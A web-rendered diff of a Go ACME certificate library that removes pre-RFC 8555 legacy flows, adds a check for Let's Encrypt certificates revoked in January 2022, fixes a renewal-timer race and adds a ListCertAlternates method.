||||
return nil
|
||||
return c.revokeCertRFC(ctx, key, cert, reason)
|
||||
}
|
||||
|
||||
// AcceptTOS always returns true to indicate the acceptance of a CA's Terms of Service
|
||||
@@ -366,75 +278,33 @@ func (c *Client) Register(ctx context.Context, acct *Account, prompt func(tosURL
|
||||
if c.Key == nil {
|
||||
return nil, errors.New("acme: client.Key must be set to Register")
|
||||
}
|
||||
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.registerRFC(ctx, acct, prompt)
|
||||
}
|
||||
|
||||
// Legacy ACME draft registration flow.
|
||||
a, err := c.doReg(ctx, dir.RegURL, "new-reg", acct)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var accept bool
|
||||
if a.CurrentTerms != "" && a.CurrentTerms != a.AgreedTerms {
|
||||
accept = prompt(a.CurrentTerms)
|
||||
}
|
||||
if accept {
|
||||
a.AgreedTerms = a.CurrentTerms
|
||||
a, err = c.UpdateReg(ctx, a)
|
||||
}
|
||||
return a, err
|
||||
return c.registerRFC(ctx, acct, prompt)
|
||||
}
|
||||
|
||||
// GetReg retrieves an existing account associated with c.Key.
|
||||
//
|
||||
// The url argument is an Account URI used with pre-RFC 8555 CAs.
|
||||
// It is ignored when interfacing with an RFC-compliant CA.
|
||||
// The url argument is a legacy artifact of the pre-RFC 8555 API
|
||||
// and is ignored.
|
||||
func (c *Client) GetReg(ctx context.Context, url string) (*Account, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.getRegRFC(ctx)
|
||||
}
|
||||
|
||||
// Legacy CA.
|
||||
a, err := c.doReg(ctx, url, "reg", nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.URI = url
|
||||
return a, nil
|
||||
return c.getRegRFC(ctx)
|
||||
}
|
||||
|
||||
// UpdateReg updates an existing registration.
|
||||
// It returns an updated account copy. The provided account is not modified.
|
||||
//
|
||||
// When interfacing with RFC-compliant CAs, a.URI is ignored and the account URL
|
||||
// associated with c.Key is used instead.
|
||||
// The account's URI is ignored and the account URL associated with
|
||||
// c.Key is used instead.
|
||||
func (c *Client) UpdateReg(ctx context.Context, acct *Account) (*Account, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.updateRegRFC(ctx, acct)
|
||||
}
|
||||
|
||||
// Legacy CA.
|
||||
uri := acct.URI
|
||||
a, err := c.doReg(ctx, uri, "reg", acct)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.URI = uri
|
||||
return a, nil
|
||||
return c.updateRegRFC(ctx, acct)
|
||||
}
|
||||
|
||||
// Authorize performs the initial step in the pre-authorization flow,
|
||||
@@ -503,17 +373,11 @@ func (c *Client) authorize(ctx context.Context, typ, val string) (*Authorization
|
||||
// If a caller needs to poll an authorization until its status is final,
|
||||
// see the WaitAuthorization method.
|
||||
func (c *Client) GetAuthorization(ctx context.Context, url string) (*Authorization, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var res *http.Response
|
||||
if dir.rfcCompliant() {
|
||||
res, err = c.postAsGet(ctx, url, wantStatus(http.StatusOK))
|
||||
} else {
|
||||
res, err = c.get(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
}
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -535,7 +399,6 @@ func (c *Client) GetAuthorization(ctx context.Context, url string) (*Authorizati
|
||||
//
|
||||
// It does not revoke existing certificates.
|
||||
func (c *Client) RevokeAuthorization(ctx context.Context, url string) error {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -565,18 +428,11 @@ func (c *Client) RevokeAuthorization(ctx context.Context, url string) error {
|
||||
// In all other cases WaitAuthorization returns an error.
|
||||
// If the Status is StatusInvalid, the returned error is of type *AuthorizationError.
|
||||
func (c *Client) WaitAuthorization(ctx context.Context, url string) (*Authorization, error) {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
getfn := c.postAsGet
|
||||
if !dir.rfcCompliant() {
|
||||
getfn = c.get
|
||||
}
|
||||
|
||||
for {
|
||||
res, err := getfn(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -619,17 +475,11 @@ func (c *Client) WaitAuthorization(ctx context.Context, url string) (*Authorizat
|
||||
//
|
||||
// A client typically polls a challenge status using this method.
|
||||
func (c *Client) GetChallenge(ctx context.Context, url string) (*Challenge, error) {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
getfn := c.postAsGet
|
||||
if !dir.rfcCompliant() {
|
||||
getfn = c.get
|
||||
}
|
||||
res, err := getfn(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK, http.StatusAccepted))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -647,29 +497,11 @@ func (c *Client) GetChallenge(ctx context.Context, url string) (*Challenge, erro
|
||||
//
|
||||
// The server will then perform the validation asynchronously.
|
||||
func (c *Client) Accept(ctx context.Context, chal *Challenge) (*Challenge, error) {
|
||||
// Required for c.accountKID() when in RFC mode.
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var req interface{} = json.RawMessage("{}") // RFC-compliant CA
|
||||
if !dir.rfcCompliant() {
|
||||
auth, err := keyAuth(c.Key.Public(), chal.Token)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req = struct {
|
||||
Resource string `json:"resource"`
|
||||
Type string `json:"type"`
|
||||
Auth string `json:"keyAuthorization"`
|
||||
}{
|
||||
Resource: "challenge",
|
||||
Type: chal.Type,
|
||||
Auth: auth,
|
||||
}
|
||||
}
|
||||
res, err := c.post(ctx, nil, chal.URI, req, wantStatus(
|
||||
res, err := c.post(ctx, nil, chal.URI, json.RawMessage("{}"), wantStatus(
|
||||
http.StatusOK, // according to the spec
|
||||
http.StatusAccepted, // Let's Encrypt: see https://goo.gl/WsJ7VT (acme-divergences.md)
|
||||
))
|
||||
@@ -720,7 +552,7 @@ func (c *Client) HTTP01ChallengePath(token string) string {
|
||||
|
||||
// TLSSNI01ChallengeCert creates a certificate for TLS-SNI-01 challenge response.
|
||||
//
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of ACME spec.
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of the ACME spec.
|
||||
func (c *Client) TLSSNI01ChallengeCert(token string, opt ...CertOption) (cert tls.Certificate, name string, err error) {
|
||||
ka, err := keyAuth(c.Key.Public(), token)
|
||||
if err != nil {
|
||||
@@ -738,7 +570,7 @@ func (c *Client) TLSSNI01ChallengeCert(token string, opt ...CertOption) (cert tl
|
||||
|
||||
// TLSSNI02ChallengeCert creates a certificate for TLS-SNI-02 challenge response.
|
||||
//
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of ACME spec.
|
||||
// Deprecated: This challenge type is unused in both draft-02 and RFC versions of the ACME spec.
|
||||
func (c *Client) TLSSNI02ChallengeCert(token string, opt ...CertOption) (cert tls.Certificate, name string, err error) {
|
||||
b := sha256.Sum256([]byte(token))
|
||||
h := hex.EncodeToString(b[:])
|
||||
@@ -805,63 +637,6 @@ func (c *Client) TLSALPN01ChallengeCert(token, domain string, opt ...CertOption)
|
||||
return tlsChallengeCert([]string{domain}, newOpt)
|
||||
}
|
||||
|
||||
// doReg sends all types of registration requests the old way (pre-RFC world).
|
||||
// The type of request is identified by typ argument, which is a "resource"
|
||||
// in the ACME spec terms.
|
||||
//
|
||||
// A non-nil acct argument indicates whether the intention is to mutate data
|
||||
// of the Account. Only Contact and Agreement of its fields are used
|
||||
// in such cases.
|
||||
func (c *Client) doReg(ctx context.Context, url string, typ string, acct *Account) (*Account, error) {
|
||||
req := struct {
|
||||
Resource string `json:"resource"`
|
||||
Contact []string `json:"contact,omitempty"`
|
||||
Agreement string `json:"agreement,omitempty"`
|
||||
}{
|
||||
Resource: typ,
|
||||
}
|
||||
if acct != nil {
|
||||
req.Contact = acct.Contact
|
||||
req.Agreement = acct.AgreedTerms
|
||||
}
|
||||
res, err := c.post(ctx, nil, url, req, wantStatus(
|
||||
http.StatusOK, // updates and deletes
|
||||
http.StatusCreated, // new account creation
|
||||
http.StatusAccepted, // Let's Encrypt divergent implementation
|
||||
))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
var v struct {
|
||||
Contact []string
|
||||
Agreement string
|
||||
Authorizations string
|
||||
Certificates string
|
||||
}
|
||||
if err := json.NewDecoder(res.Body).Decode(&v); err != nil {
|
||||
return nil, fmt.Errorf("acme: invalid response: %v", err)
|
||||
}
|
||||
var tos string
|
||||
if v := linkHeader(res.Header, "terms-of-service"); len(v) > 0 {
|
||||
tos = v[0]
|
||||
}
|
||||
var authz string
|
||||
if v := linkHeader(res.Header, "next"); len(v) > 0 {
|
||||
authz = v[0]
|
||||
}
|
||||
return &Account{
|
||||
URI: res.Header.Get("Location"),
|
||||
Contact: v.Contact,
|
||||
AgreedTerms: v.Agreement,
|
||||
CurrentTerms: tos,
|
||||
Authz: authz,
|
||||
Authorizations: v.Authorizations,
|
||||
Certificates: v.Certificates,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// popNonce returns a nonce value previously stored with c.addNonce
|
||||
// or fetches a fresh one from c.dir.NonceURL.
|
||||
// If NonceURL is empty, it first tries c.directoryURL() and, failing that,
|
||||
@@ -936,78 +711,6 @@ func nonceFromHeader(h http.Header) string {
|
||||
return h.Get("Replay-Nonce")
|
||||
}
|
||||
|
||||
func (c *Client) responseCert(ctx context.Context, res *http.Response, bundle bool) ([][]byte, error) {
|
||||
b, err := ioutil.ReadAll(io.LimitReader(res.Body, maxCertSize+1))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("acme: response stream: %v", err)
|
||||
}
|
||||
if len(b) > maxCertSize {
|
||||
return nil, errors.New("acme: certificate is too big")
|
||||
}
|
||||
cert := [][]byte{b}
|
||||
if !bundle {
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
// Append CA chain cert(s).
|
||||
// At least one is required according to the spec:
|
||||
// https://tools.ietf.org/html/draft-ietf-acme-acme-03#section-6.3.1
|
||||
up := linkHeader(res.Header, "up")
|
||||
if len(up) == 0 {
|
||||
return nil, errors.New("acme: rel=up link not found")
|
||||
}
|
||||
if len(up) > maxChainLen {
|
||||
return nil, errors.New("acme: rel=up link is too large")
|
||||
}
|
||||
for _, url := range up {
|
||||
cc, err := c.chainCert(ctx, url, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cert = append(cert, cc...)
|
||||
}
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
// chainCert fetches CA certificate chain recursively by following "up" links.
|
||||
// Each recursive call increments the depth by 1, resulting in an error
|
||||
// if the recursion level reaches maxChainLen.
|
||||
//
|
||||
// First chainCert call starts with depth of 0.
|
||||
func (c *Client) chainCert(ctx context.Context, url string, depth int) ([][]byte, error) {
|
||||
if depth >= maxChainLen {
|
||||
return nil, errors.New("acme: certificate chain is too deep")
|
||||
}
|
||||
|
||||
res, err := c.get(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
b, err := ioutil.ReadAll(io.LimitReader(res.Body, maxCertSize+1))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(b) > maxCertSize {
|
||||
return nil, errors.New("acme: certificate is too big")
|
||||
}
|
||||
chain := [][]byte{b}
|
||||
|
||||
uplink := linkHeader(res.Header, "up")
|
||||
if len(uplink) > maxChainLen {
|
||||
return nil, errors.New("acme: certificate chain is too large")
|
||||
}
|
||||
for _, up := range uplink {
|
||||
cc, err := c.chainCert(ctx, up, depth+1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
chain = append(chain, cc...)
|
||||
}
|
||||
|
||||
return chain, nil
|
||||
}
|
||||
|
||||
// linkHeader returns URI-Reference values of all Link headers
|
||||
// with relation-type rel.
|
||||
// See https://tools.ietf.org/html/rfc5988#section-5 for details.
|
||||
@@ -1098,5 +801,5 @@ func encodePEM(typ string, b []byte) []byte {
|
||||
return pem.EncodeToMemory(pb)
|
||||
}
|
||||
|
||||
// timeNow is useful for testing for fixed current time.
|
||||
// timeNow is time.Now, except in tests which can mess with it.
|
||||
var timeNow = time.Now
|
||||
+36
-92
@@ -47,6 +47,8 @@ var createCertRetryAfter = time.Minute
|
||||
// pseudoRand is safe for concurrent use.
|
||||
var pseudoRand *lockedMathRand
|
||||
|
||||
var errPreRFC = errors.New("autocert: ACME server doesn't support RFC 8555")
|
||||
|
||||
func init() {
|
||||
src := mathrand.NewSource(time.Now().UnixNano())
|
||||
pseudoRand = &lockedMathRand{rnd: mathrand.New(src)}
|
||||
@@ -456,7 +458,7 @@ func (m *Manager) cert(ctx context.Context, ck certKey) (*tls.Certificate, error
|
||||
leaf: cert.Leaf,
|
||||
}
|
||||
m.state[ck] = s
|
||||
go m.renew(ck, s.key, s.leaf.NotAfter)
|
||||
go m.startRenew(ck, s.key, s.leaf.NotAfter)
|
||||
return cert, nil
|
||||
}
|
||||
|
||||
@@ -582,8 +584,9 @@ func (m *Manager) createCert(ctx context.Context, ck certKey) (*tls.Certificate,
|
||||
if err != nil {
|
||||
// Remove the failed state after some time,
|
||||
// making the manager call createCert again on the following TLS hello.
|
||||
didRemove := testDidRemoveState // The lifetime of this timer is untracked, so copy mutable local state to avoid races.
|
||||
time.AfterFunc(createCertRetryAfter, func() {
|
||||
defer testDidRemoveState(ck)
|
||||
defer didRemove(ck)
|
||||
m.stateMu.Lock()
|
||||
defer m.stateMu.Unlock()
|
||||
// Verify the state hasn't changed and it's still invalid
|
||||
@@ -601,7 +604,7 @@ func (m *Manager) createCert(ctx context.Context, ck certKey) (*tls.Certificate,
|
||||
}
|
||||
state.cert = der
|
||||
state.leaf = leaf
|
||||
go m.renew(ck, state.key, state.leaf.NotAfter)
|
||||
go m.startRenew(ck, state.key, state.leaf.NotAfter)
|
||||
return state.tlscert()
|
||||
}
|
||||
|
||||
@@ -658,31 +661,19 @@ func (m *Manager) authorizedCert(ctx context.Context, key crypto.Signer, ck cert
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
var chain [][]byte
|
||||
switch {
|
||||
// Pre-RFC legacy CA.
|
||||
case dir.OrderURL == "":
|
||||
if err := m.verify(ctx, client, ck.domain); err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
der, _, err := client.CreateCert(ctx, csr, 0, true)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
chain = der
|
||||
// RFC 8555 compliant CA.
|
||||
default:
|
||||
o, err := m.verifyRFC(ctx, client, ck.domain)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
der, _, err := client.CreateOrderCert(ctx, o.FinalizeURL, csr, true)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
chain = der
|
||||
if dir.OrderURL == "" {
|
||||
return nil, nil, errPreRFC
|
||||
}
|
||||
|
||||
o, err := m.verifyRFC(ctx, client, ck.domain)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
chain, _, err := client.CreateOrderCert(ctx, o.FinalizeURL, csr, true)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
leaf, err = validCert(ck, chain, key, m.now())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
@@ -690,69 +681,6 @@ func (m *Manager) authorizedCert(ctx context.Context, key crypto.Signer, ck cert
|
||||
return chain, leaf, nil
|
||||
}
|
||||
|
||||
// verify runs the identifier (domain) pre-authorization flow for legacy CAs
|
||||
// using each applicable ACME challenge type.
|
||||
func (m *Manager) verify(ctx context.Context, client *acme.Client, domain string) error {
|
||||
// Remove all hanging authorizations to reduce rate limit quotas
|
||||
// after we're done.
|
||||
var authzURLs []string
|
||||
defer func() {
|
||||
go m.deactivatePendingAuthz(authzURLs)
|
||||
}()
|
||||
|
||||
// errs accumulates challenge failure errors, printed if all fail
|
||||
errs := make(map[*acme.Challenge]error)
|
||||
challengeTypes := m.supportedChallengeTypes()
|
||||
var nextTyp int // challengeType index of the next challenge type to try
|
||||
for {
|
||||
// Start domain authorization and get the challenge.
|
||||
authz, err := client.Authorize(ctx, domain)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
authzURLs = append(authzURLs, authz.URI)
|
||||
// No point in accepting challenges if the authorization status
|
||||
// is in a final state.
|
||||
switch authz.Status {
|
||||
case acme.StatusValid:
|
||||
return nil // already authorized
|
||||
case acme.StatusInvalid:
|
||||
return fmt.Errorf("acme/autocert: invalid authorization %q", authz.URI)
|
||||
}
|
||||
|
||||
// Pick the next preferred challenge.
|
||||
var chal *acme.Challenge
|
||||
for chal == nil && nextTyp < len(challengeTypes) {
|
||||
chal = pickChallenge(challengeTypes[nextTyp], authz.Challenges)
|
||||
nextTyp++
|
||||
}
|
||||
if chal == nil {
|
||||
errorMsg := fmt.Sprintf("acme/autocert: unable to authorize %q", domain)
|
||||
for chal, err := range errs {
|
||||
errorMsg += fmt.Sprintf("; challenge %q failed with error: %v", chal.Type, err)
|
||||
}
|
||||
return errors.New(errorMsg)
|
||||
}
|
||||
cleanup, err := m.fulfill(ctx, client, chal, domain)
|
||||
if err != nil {
|
||||
errs[chal] = err
|
||||
continue
|
||||
}
|
||||
defer cleanup()
|
||||
if _, err := client.Accept(ctx, chal); err != nil {
|
||||
errs[chal] = err
|
||||
continue
|
||||
}
|
||||
|
||||
// A challenge is fulfilled and accepted: wait for the CA to validate.
|
||||
if _, err := client.WaitAuthorization(ctx, authz.URI); err != nil {
|
||||
errs[chal] = err
|
||||
continue
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// verifyRFC runs the identifier (domain) order-based authorization flow for RFC compliant CAs
|
||||
// using each applicable ACME challenge type.
|
||||
func (m *Manager) verifyRFC(ctx context.Context, client *acme.Client, domain string) (*acme.Order, error) {
|
||||
@@ -966,7 +894,7 @@ func httpTokenCacheKey(tokenPath string) string {
|
||||
return path.Base(tokenPath) + "+http-01"
|
||||
}
|
||||
|
||||
// renew starts a cert renewal timer loop, one per domain.
|
||||
// startRenew starts a cert renewal timer loop, one per domain.
|
||||
//
|
||||
// The loop is scheduled in two cases:
|
||||
// - a cert was fetched from cache for the first time (wasn't in m.state)
|
||||
@@ -974,7 +902,7 @@ func httpTokenCacheKey(tokenPath string) string {
|
||||
//
|
||||
// The key argument is a certificate private key.
|
||||
// The exp argument is the cert expiration time (NotAfter).
|
||||
func (m *Manager) renew(ck certKey, key crypto.Signer, exp time.Time) {
|
||||
func (m *Manager) startRenew(ck certKey, key crypto.Signer, exp time.Time) {
|
||||
m.renewalMu.Lock()
|
||||
defer m.renewalMu.Unlock()
|
||||
if m.renewal[ck] != nil {
|
||||
@@ -1200,6 +1128,10 @@ func validCert(ck certKey, der [][]byte, key crypto.Signer, now time.Time) (leaf
|
||||
if err := leaf.VerifyHostname(ck.domain); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// renew certificates revoked by Let's Encrypt in January 2022
|
||||
if isRevokedLetsEncrypt(leaf) {
|
||||
return nil, errors.New("acme/autocert: certificate was probably revoked by Let's Encrypt")
|
||||
}
|
||||
// ensure the leaf corresponds to the private key and matches the certKey type
|
||||
switch pub := leaf.PublicKey.(type) {
|
||||
case *rsa.PublicKey:
|
||||
@@ -1230,6 +1162,18 @@ func validCert(ck certKey, der [][]byte, key crypto.Signer, now time.Time) (leaf
|
||||
return leaf, nil
|
||||
}
|
||||
|
||||
// https://community.letsencrypt.org/t/2022-01-25-issue-with-tls-alpn-01-validation-method/170450
|
||||
var letsEncryptFixDeployTime = time.Date(2022, time.January, 26, 00, 48, 0, 0, time.UTC)
|
||||
|
||||
// isRevokedLetsEncrypt returns whether the certificate is likely to be part of
|
||||
// a batch of certificates revoked by Let's Encrypt in January 2022. This check
|
||||
// can be safely removed from May 2022.
|
||||
func isRevokedLetsEncrypt(cert *x509.Certificate) bool {
|
||||
O := cert.Issuer.Organization
|
||||
return len(O) == 1 && O[0] == "Let's Encrypt" &&
|
||||
cert.NotBefore.Before(letsEncryptFixDeployTime)
|
||||
}
|
||||
|
||||
type lockedMathRand struct {
|
||||
sync.Mutex
|
||||
rnd *mathrand.Rand
|
||||
|
||||
+25
-10
@@ -21,8 +21,9 @@ type domainRenewal struct {
|
||||
ck certKey
|
||||
key crypto.Signer
|
||||
|
||||
timerMu sync.Mutex
|
||||
timer *time.Timer
|
||||
timerMu sync.Mutex
|
||||
timer *time.Timer
|
||||
timerClose chan struct{} // if non-nil, renew closes this channel (and nils out the timer fields) instead of running
|
||||
}
|
||||
|
||||
// start starts a cert renewal timer at the time
|
||||
@@ -38,16 +39,28 @@ func (dr *domainRenewal) start(exp time.Time) {
|
||||
dr.timer = time.AfterFunc(dr.next(exp), dr.renew)
|
||||
}
|
||||
|
||||
// stop stops the cert renewal timer.
|
||||
// If the timer is already stopped, calling stop is a noop.
|
||||
// stop stops the cert renewal timer and waits for any in-flight calls to renew
|
||||
// to complete. If the timer is already stopped, calling stop is a noop.
|
||||
func (dr *domainRenewal) stop() {
|
||||
dr.timerMu.Lock()
|
||||
defer dr.timerMu.Unlock()
|
||||
if dr.timer == nil {
|
||||
return
|
||||
for {
|
||||
if dr.timer == nil {
|
||||
return
|
||||
}
|
||||
if dr.timer.Stop() {
|
||||
dr.timer = nil
|
||||
return
|
||||
} else {
|
||||
// dr.timer fired, and we acquired dr.timerMu before the renew callback did.
|
||||
// (We know this because otherwise the renew callback would have reset dr.timer!)
|
||||
timerClose := make(chan struct{})
|
||||
dr.timerClose = timerClose
|
||||
dr.timerMu.Unlock()
|
||||
<-timerClose
|
||||
dr.timerMu.Lock()
|
||||
}
|
||||
}
|
||||
dr.timer.Stop()
|
||||
dr.timer = nil
|
||||
}
|
||||
|
||||
// renew is called periodically by a timer.
|
||||
@@ -55,7 +68,9 @@ func (dr *domainRenewal) stop() {
|
||||
func (dr *domainRenewal) renew() {
|
||||
dr.timerMu.Lock()
|
||||
defer dr.timerMu.Unlock()
|
||||
if dr.timer == nil {
|
||||
if dr.timerClose != nil {
|
||||
close(dr.timerClose)
|
||||
dr.timer, dr.timerClose = nil, nil
|
||||
return
|
||||
}
|
||||
|
||||
@@ -67,8 +82,8 @@ func (dr *domainRenewal) renew() {
|
||||
next = renewJitter / 2
|
||||
next += time.Duration(pseudoRand.int63n(int64(next)))
|
||||
}
|
||||
dr.timer = time.AfterFunc(next, dr.renew)
|
||||
testDidRenewLoop(next, err)
|
||||
dr.timer = time.AfterFunc(next, dr.renew)
|
||||
}
|
||||
|
||||
// updateState locks and replaces the relevant Manager.state item with the given
|
||||
|
||||
+4
@@ -10,6 +10,7 @@ import (
|
||||
"crypto"
|
||||
"crypto/rand"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"math/big"
|
||||
@@ -215,6 +216,9 @@ func (c *Client) post(ctx context.Context, key crypto.Signer, url string, body i
|
||||
func (c *Client) postNoRetry(ctx context.Context, key crypto.Signer, url string, body interface{}) (*http.Response, *http.Request, error) {
|
||||
kid := noKeyID
|
||||
if key == nil {
|
||||
if c.Key == nil {
|
||||
return nil, nil, errors.New("acme: Client.Key must be populated to make POST requests")
|
||||
}
|
||||
key = c.Key
|
||||
kid = c.accountKID(ctx)
|
||||
}
|
||||
|
||||
+8
-5
@@ -20,12 +20,12 @@ import (
|
||||
"math/big"
|
||||
)
|
||||
|
||||
// keyID is the account identity provided by a CA during registration.
|
||||
type keyID string
|
||||
// KeyID is the account key identity provided by a CA during registration.
|
||||
type KeyID string
|
||||
|
||||
// noKeyID indicates that jwsEncodeJSON should compute and use JWK instead of a KID.
|
||||
// See jwsEncodeJSON for details.
|
||||
const noKeyID = keyID("")
|
||||
const noKeyID = KeyID("")
|
||||
|
||||
// noPayload indicates jwsEncodeJSON will encode zero-length octet string
|
||||
// in a JWS request. This is called POST-as-GET in RFC 8555 and is used to make
|
||||
@@ -43,14 +43,17 @@ type jsonWebSignature struct {
|
||||
|
||||
// jwsEncodeJSON signs claimset using provided key and a nonce.
|
||||
// The result is serialized in JSON format containing either kid or jwk
|
||||
// fields based on the provided keyID value.
|
||||
// fields based on the provided KeyID value.
|
||||
//
|
||||
// If kid is non-empty, its quoted value is inserted in the protected head
|
||||
// as "kid" field value. Otherwise, JWK is computed using jwkEncode and inserted
|
||||
// as "jwk" field value. The "jwk" and "kid" fields are mutually exclusive.
|
||||
//
|
||||
// See https://tools.ietf.org/html/rfc7515#section-7.
|
||||
func jwsEncodeJSON(claimset interface{}, key crypto.Signer, kid keyID, nonce, url string) ([]byte, error) {
|
||||
func jwsEncodeJSON(claimset interface{}, key crypto.Signer, kid KeyID, nonce, url string) ([]byte, error) {
|
||||
if key == nil {
|
||||
return nil, errors.New("nil key")
|
||||
}
|
||||
alg, sha := jwsHasher(key.Public())
|
||||
if alg == "" || !sha.Available() {
|
||||
return nil, ErrUnsupportedKey
|
||||
|
||||
+27
-1
@@ -78,7 +78,7 @@ func (c *Client) registerRFC(ctx context.Context, acct *Account, prompt func(tos
|
||||
}
|
||||
// Cache Account URL even if we return an error to the caller.
|
||||
// It is by all means a valid and usable "kid" value for future requests.
|
||||
c.kid = keyID(a.URI)
|
||||
c.KID = KeyID(a.URI)
|
||||
if res.StatusCode == http.StatusOK {
|
||||
return nil, ErrAccountAlreadyExists
|
||||
}
|
||||
@@ -410,3 +410,29 @@ func isAlreadyRevoked(err error) bool {
|
||||
e, ok := err.(*Error)
|
||||
return ok && e.ProblemType == "urn:ietf:params:acme:error:alreadyRevoked"
|
||||
}
|
||||
|
||||
// ListCertAlternates retrieves any alternate certificate chain URLs for the
|
||||
// given certificate chain URL. These alternate URLs can be passed to FetchCert
|
||||
// in order to retrieve the alternate certificate chains.
|
||||
//
|
||||
// If there are no alternate issuer certificate chains, a nil slice will be
|
||||
// returned.
|
||||
func (c *Client) ListCertAlternates(ctx context.Context, url string) ([]string, error) {
|
||||
if _, err := c.Discover(ctx); err != nil { // required by c.accountKID
|
||||
return nil, err
|
||||
}
|
||||
|
||||
res, err := c.postAsGet(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
// We don't need the body but we need to discard it so we don't end up
|
||||
// preventing keep-alive
|
||||
if _, err := io.Copy(ioutil.Discard, res.Body); err != nil {
|
||||
return nil, fmt.Errorf("acme: cert alternates response stream: %v", err)
|
||||
}
|
||||
alts := linkHeader(res.Header, "alternate")
|
||||
return alts, nil
|
||||
}
|
||||
-8
@@ -305,14 +305,6 @@ type Directory struct {
|
||||
ExternalAccountRequired bool
|
||||
}
|
||||
|
||||
// rfcCompliant reports whether the ACME server implements RFC 8555.
|
||||
// Note that some servers may have incomplete RFC implementation
|
||||
// even if the returned value is true.
|
||||
// If rfcCompliant reports false, the server most likely implements draft-02.
|
||||
func (d *Directory) rfcCompliant() bool {
|
||||
return d.OrderURL != ""
|
||||
}
|
||||
|
||||
// Order represents a client's request for a certificate.
|
||||
// It tracks the request flow progress through to issuance.
|
||||
type Order struct {
|
||||
|
||||
Loaded 100 of 1075 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user